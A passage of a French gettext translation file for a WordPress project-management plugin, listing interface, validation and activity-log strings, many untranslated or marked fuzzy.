To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Chef de projet" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projets" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:11 +msgid "Task list id is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s a commenté %s" + +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s a commenté %s" + +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s a commenté %s" + +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s a commenté %s" + +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s a commenté %s" + +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s a mis à jour son commentaire à propos de %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projet" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Liste de tâche" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Etape" + +#: texts/resource_types.php:20 +#, fuzzy +msgid "comment" +msgstr "1 Commentaire" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Aucun commentaire" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Pas de Projet" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Etes-vous sûr ?" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Etes vous sûr de supprimer ce message ?" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure to delete this comment?" +msgstr "Etes vous sûr de supprimer ce message ?" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Ajouter nouveau message" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Mettre à jour commentaire" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Activité du projet" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Liste de Tâche" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Etapes" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Fichiers" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Editer" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Ajouter message" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Mettre à jour commentaire" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Créer un nouveau projet" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Quelques détails à propos du projet (optionel)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Ajouter nouveau projet" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Mettre à jour Projet" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Editer étape" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Marquer comme réalisé" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Ajouter étape" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Mettre à jour Etape" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Ajouter tâche" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Mettre à jour Liste" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Ajouter Liste" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete File" +msgid "Delete List" +msgstr "Supprimer message" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Enregistrer" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Activité" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Supprimer" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "" + +#: 